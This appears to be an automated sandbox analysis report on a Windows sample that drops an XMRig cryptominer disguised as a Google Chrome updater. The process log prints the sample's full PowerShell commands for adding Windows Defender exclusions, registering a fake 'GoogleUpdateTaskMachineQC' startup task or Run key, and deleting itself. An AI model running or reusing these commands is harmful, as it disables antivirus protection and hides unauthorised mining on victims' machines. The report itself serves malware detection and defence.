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Overview
overview
10Static
static
3grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs... K.exe
windows7-x64
10grhddhsGHs... K.exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10grhddhsGHs...1).exe
windows7-x64
10grhddhsGHs...1).exe
windows10-2004-x64
10grhddhsGHs...2).exe
windows7-x64
10grhddhsGHs...2).exe
windows10-2004-x64
10grhddhsGHs...3).exe
windows7-x64
10grhddhsGHs...3).exe
windows10-2004-x64
10grhddhsGHs...4).exe
windows7-x64
10grhddhsGHs...4).exe
windows10-2004-x64
10grhddhsGHs...5).exe
windows7-x64
10grhddhsGHs...5).exe
windows10-2004-x64
10grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10Resubmissions
11/02/2025, 16:33
250211-t2ztsstkey 1011/02/2025, 16:33
250211-t2zh2atkex 1011/02/2025, 16:33
250211-t2yxhatkew 1011/02/2025, 16:33
250211-t2nrjasqdk 1024/10/2024, 20:12
241024-yyvg5asemn 1024/10/2024, 20:11
241024-yygk9ssemk 1024/10/2024, 20:11
241024-yygahasemj 1024/10/2024, 20:11
241024-yyd55sselq 1024/10/2024, 20:08
241024-yw247asdqp 1024/10/2024, 20:08
241024-yw1lcssdqn 10Analysis
-
max time kernel
1800s -
max time network
1802s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
22/08/2024, 20:59
Static task
static1
Behavioral task
behavioral1
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral3
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win7-20240704-en
Behavioral task
behavioral4
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral5
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win7-20240708-en
Behavioral task
behavioral6
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral7
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win7-20240704-en
Behavioral task
behavioral8
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral9
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win7-20240708-en
Behavioral task
behavioral10
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral11
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win7-20240704-en
Behavioral task
behavioral12
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral13
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win7-20240705-en
Behavioral task
behavioral14
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral15
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win7-20240705-en
Behavioral task
behavioral16
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral17
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win7-20240708-en
Behavioral task
behavioral18
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral19
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win7-20240708-en
Behavioral task
behavioral20
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral21
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win7-20240708-en
Behavioral task
behavioral22
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral23
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win7-20240704-en
Behavioral task
behavioral24
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral25
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win7-20240708-en
Behavioral task
behavioral26
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral27
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win7-20240704-en
Behavioral task
behavioral28
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral29
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win7-20240704-en
Behavioral task
behavioral30
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral31
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (30).exe
Resource
win7-20240729-en
General
-
Target
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
description pid Process procid_target PID 1248 created 3524 1248 qM5GMXBk6hJE6Y5e (19).exe 56 PID 1248 created 3524 1248 qM5GMXBk6hJE6Y5e (19).exe 56 PID 1248 created 3524 1248 qM5GMXBk6hJE6Y5e (19).exe 56 PID 1248 created 3524 1248 qM5GMXBk6hJE6Y5e (19).exe 56 PID 548 created 3524 548 updater.exe 56 PID 548 created 3524 548 updater.exe 56 PID 548 created 3524 548 updater.exe 56 PID 548 created 3524 548 updater.exe 56 PID 548 created 3524 548 updater.exe 56 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral10/memory/4284-110-0x00007FF69C990000-0x00007FF69D184000-memory.dmp xmrig behavioral10/memory/4284-111-0x00007FF69C990000-0x00007FF69D184000-memory.dmp xmrig behavioral10/memory/4284-113-0x00007FF69C990000-0x00007FF69D184000-memory.dmp xmrig behavioral10/memory/4284-115-0x00007FF69C990000-0x00007FF69D184000-memory.dmp xmrig behavioral10/memory/4284-117-0x00007FF69C990000-0x00007FF69D184000-memory.dmp xmrig behavioral10/memory/4284-119-0x00007FF69C990000-0x00007FF69D184000-memory.dmp xmrig behavioral10/memory/4284-121-0x00007FF69C990000-0x00007FF69D184000-memory.dmp xmrig behavioral10/memory/4284-123-0x00007FF69C990000-0x00007FF69D184000-memory.dmp xmrig behavioral10/memory/4284-125-0x00007FF69C990000-0x00007FF69D184000-memory.dmp xmrig behavioral10/memory/4284-127-0x00007FF69C990000-0x00007FF69D184000-memory.dmp xmrig behavioral10/memory/4284-129-0x00007FF69C990000-0x00007FF69D184000-memory.dmp xmrig behavioral10/memory/4284-131-0x00007FF69C990000-0x00007FF69D184000-memory.dmp xmrig behavioral10/memory/4284-133-0x00007FF69C990000-0x00007FF69D184000-memory.dmp xmrig behavioral10/memory/4284-135-0x00007FF69C990000-0x00007FF69D184000-memory.dmp xmrig behavioral10/memory/4284-137-0x00007FF69C990000-0x00007FF69D184000-memory.dmp xmrig behavioral10/memory/4284-139-0x00007FF69C990000-0x00007FF69D184000-memory.dmp xmrig behavioral10/memory/4284-141-0x00007FF69C990000-0x00007FF69D184000-memory.dmp xmrig behavioral10/memory/4284-143-0x00007FF69C990000-0x00007FF69D184000-memory.dmp xmrig behavioral10/memory/4284-145-0x00007FF69C990000-0x00007FF69D184000-memory.dmp xmrig behavioral10/memory/4284-147-0x00007FF69C990000-0x00007FF69D184000-memory.dmp xmrig behavioral10/memory/4284-149-0x00007FF69C990000-0x00007FF69D184000-memory.dmp xmrig behavioral10/memory/4284-151-0x00007FF69C990000-0x00007FF69D184000-memory.dmp xmrig behavioral10/memory/4284-153-0x00007FF69C990000-0x00007FF69D184000-memory.dmp xmrig behavioral10/memory/4284-155-0x00007FF69C990000-0x00007FF69D184000-memory.dmp xmrig behavioral10/memory/4284-157-0x00007FF69C990000-0x00007FF69D184000-memory.dmp xmrig behavioral10/memory/4284-159-0x00007FF69C990000-0x00007FF69D184000-memory.dmp xmrig behavioral10/memory/4284-161-0x00007FF69C990000-0x00007FF69D184000-memory.dmp xmrig behavioral10/memory/4284-163-0x00007FF69C990000-0x00007FF69D184000-memory.dmp xmrig behavioral10/memory/4284-165-0x00007FF69C990000-0x00007FF69D184000-memory.dmp xmrig behavioral10/memory/4284-167-0x00007FF69C990000-0x00007FF69D184000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 1344 powershell.exe 5080 powershell.exe 3068 powershell.exe 1396 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 548 updater.exe -
resource yara_rule behavioral10/memory/4284-106-0x00007FF69C990000-0x00007FF69D184000-memory.dmp upx behavioral10/memory/4284-110-0x00007FF69C990000-0x00007FF69D184000-memory.dmp upx behavioral10/memory/4284-111-0x00007FF69C990000-0x00007FF69D184000-memory.dmp upx behavioral10/memory/4284-113-0x00007FF69C990000-0x00007FF69D184000-memory.dmp upx behavioral10/memory/4284-115-0x00007FF69C990000-0x00007FF69D184000-memory.dmp upx behavioral10/memory/4284-117-0x00007FF69C990000-0x00007FF69D184000-memory.dmp upx behavioral10/memory/4284-119-0x00007FF69C990000-0x00007FF69D184000-memory.dmp upx behavioral10/memory/4284-121-0x00007FF69C990000-0x00007FF69D184000-memory.dmp upx behavioral10/memory/4284-123-0x00007FF69C990000-0x00007FF69D184000-memory.dmp upx behavioral10/memory/4284-125-0x00007FF69C990000-0x00007FF69D184000-memory.dmp upx behavioral10/memory/4284-127-0x00007FF69C990000-0x00007FF69D184000-memory.dmp upx behavioral10/memory/4284-129-0x00007FF69C990000-0x00007FF69D184000-memory.dmp upx behavioral10/memory/4284-131-0x00007FF69C990000-0x00007FF69D184000-memory.dmp upx behavioral10/memory/4284-133-0x00007FF69C990000-0x00007FF69D184000-memory.dmp upx behavioral10/memory/4284-135-0x00007FF69C990000-0x00007FF69D184000-memory.dmp upx behavioral10/memory/4284-137-0x00007FF69C990000-0x00007FF69D184000-memory.dmp upx behavioral10/memory/4284-139-0x00007FF69C990000-0x00007FF69D184000-memory.dmp upx behavioral10/memory/4284-141-0x00007FF69C990000-0x00007FF69D184000-memory.dmp upx behavioral10/memory/4284-143-0x00007FF69C990000-0x00007FF69D184000-memory.dmp upx behavioral10/memory/4284-145-0x00007FF69C990000-0x00007FF69D184000-memory.dmp upx behavioral10/memory/4284-147-0x00007FF69C990000-0x00007FF69D184000-memory.dmp upx behavioral10/memory/4284-149-0x00007FF69C990000-0x00007FF69D184000-memory.dmp upx behavioral10/memory/4284-151-0x00007FF69C990000-0x00007FF69D184000-memory.dmp upx behavioral10/memory/4284-153-0x00007FF69C990000-0x00007FF69D184000-memory.dmp upx behavioral10/memory/4284-155-0x00007FF69C990000-0x00007FF69D184000-memory.dmp upx behavioral10/memory/4284-157-0x00007FF69C990000-0x00007FF69D184000-memory.dmp upx behavioral10/memory/4284-159-0x00007FF69C990000-0x00007FF69D184000-memory.dmp upx behavioral10/memory/4284-161-0x00007FF69C990000-0x00007FF69D184000-memory.dmp upx behavioral10/memory/4284-163-0x00007FF69C990000-0x00007FF69D184000-memory.dmp upx behavioral10/memory/4284-165-0x00007FF69C990000-0x00007FF69D184000-memory.dmp upx behavioral10/memory/4284-167-0x00007FF69C990000-0x00007FF69D184000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 548 set thread context of 2668 548 updater.exe 112 PID 548 set thread context of 4284 548 updater.exe 118 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe qM5GMXBk6hJE6Y5e (19).exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 5020 WMIC.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe -
Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 1248 qM5GMXBk6hJE6Y5e (19).exe 1248 qM5GMXBk6hJE6Y5e (19).exe 1344 powershell.exe 1344 powershell.exe 1248 qM5GMXBk6hJE6Y5e (19).exe 1248 qM5GMXBk6hJE6Y5e (19).exe 3068 powershell.exe 3068 powershell.exe 1248 qM5GMXBk6hJE6Y5e (19).exe 1248 qM5GMXBk6hJE6Y5e (19).exe 1248 qM5GMXBk6hJE6Y5e (19).exe 1248 qM5GMXBk6hJE6Y5e (19).exe 3168 powershell.exe 3168 powershell.exe 548 updater.exe 548 updater.exe 5080 powershell.exe 5080 powershell.exe 548 updater.exe 548 updater.exe 1396 powershell.exe 1396 powershell.exe 548 updater.exe 548 updater.exe 548 updater.exe 548 updater.exe 2668 conhost.exe 2668 conhost.exe 548 updater.exe 548 updater.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1344 powershell.exe Token: SeDebugPrivilege 3068 powershell.exe Token: SeIncreaseQuotaPrivilege 3068 powershell.exe Token: SeSecurityPrivilege 3068 powershell.exe Token: SeTakeOwnershipPrivilege 3068 powershell.exe Token: SeLoadDriverPrivilege 3068 powershell.exe Token: SeSystemProfilePrivilege 3068 powershell.exe Token: SeSystemtimePrivilege 3068 powershell.exe Token: SeProfSingleProcessPrivilege 3068 powershell.exe Token: SeIncBasePriorityPrivilege 3068 powershell.exe Token: SeCreatePagefilePrivilege 3068 powershell.exe Token: SeBackupPrivilege 3068 powershell.exe Token: SeRestorePrivilege 3068 powershell.exe Token: SeShutdownPrivilege 3068 powershell.exe Token: SeDebugPrivilege 3068 powershell.exe Token: SeSystemEnvironmentPrivilege 3068 powershell.exe Token: SeRemoteShutdownPrivilege 3068 powershell.exe Token: SeUndockPrivilege 3068 powershell.exe Token: SeManageVolumePrivilege 3068 powershell.exe Token: 33 3068 powershell.exe Token: 34 3068 powershell.exe Token: 35 3068 powershell.exe Token: 36 3068 powershell.exe Token: SeIncreaseQuotaPrivilege 3068 powershell.exe Token: SeSecurityPrivilege 3068 powershell.exe Token: SeTakeOwnershipPrivilege 3068 powershell.exe Token: SeLoadDriverPrivilege 3068 powershell.exe Token: SeSystemProfilePrivilege 3068 powershell.exe Token: SeSystemtimePrivilege 3068 powershell.exe Token: SeProfSingleProcessPrivilege 3068 powershell.exe Token: SeIncBasePriorityPrivilege 3068 powershell.exe Token: SeCreatePagefilePrivilege 3068 powershell.exe Token: SeBackupPrivilege 3068 powershell.exe Token: SeRestorePrivilege 3068 powershell.exe Token: SeShutdownPrivilege 3068 powershell.exe Token: SeDebugPrivilege 3068 powershell.exe Token: SeSystemEnvironmentPrivilege 3068 powershell.exe Token: SeRemoteShutdownPrivilege 3068 powershell.exe Token: SeUndockPrivilege 3068 powershell.exe Token: SeManageVolumePrivilege 3068 powershell.exe Token: 33 3068 powershell.exe Token: 34 3068 powershell.exe Token: 35 3068 powershell.exe Token: 36 3068 powershell.exe Token: SeIncreaseQuotaPrivilege 3068 powershell.exe Token: SeSecurityPrivilege 3068 powershell.exe Token: SeTakeOwnershipPrivilege 3068 powershell.exe Token: SeLoadDriverPrivilege 3068 powershell.exe Token: SeSystemProfilePrivilege 3068 powershell.exe Token: SeSystemtimePrivilege 3068 powershell.exe Token: SeProfSingleProcessPrivilege 3068 powershell.exe Token: SeIncBasePriorityPrivilege 3068 powershell.exe Token: SeCreatePagefilePrivilege 3068 powershell.exe Token: SeBackupPrivilege 3068 powershell.exe Token: SeRestorePrivilege 3068 powershell.exe Token: SeShutdownPrivilege 3068 powershell.exe Token: SeDebugPrivilege 3068 powershell.exe Token: SeSystemEnvironmentPrivilege 3068 powershell.exe Token: SeRemoteShutdownPrivilege 3068 powershell.exe Token: SeUndockPrivilege 3068 powershell.exe Token: SeManageVolumePrivilege 3068 powershell.exe Token: 33 3068 powershell.exe Token: 34 3068 powershell.exe Token: 35 3068 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1280 wrote to memory of 3192 1280 cmd.exe 102 PID 1280 wrote to memory of 3192 1280 cmd.exe 102 PID 3168 wrote to memory of 404 3168 powershell.exe 103 PID 3168 wrote to memory of 404 3168 powershell.exe 103 PID 548 wrote to memory of 2668 548 updater.exe 112 PID 2372 wrote to memory of 5020 2372 cmd.exe 117 PID 2372 wrote to memory of 5020 2372 cmd.exe 117 PID 548 wrote to memory of 4284 548 updater.exe 118 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3524
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C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (19).exe"C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (19).exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1248
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1344
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3068
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3168 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:404
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (19).exe"2⤵
- Suspicious use of WriteProcessMemory
PID:1280 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:3192
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
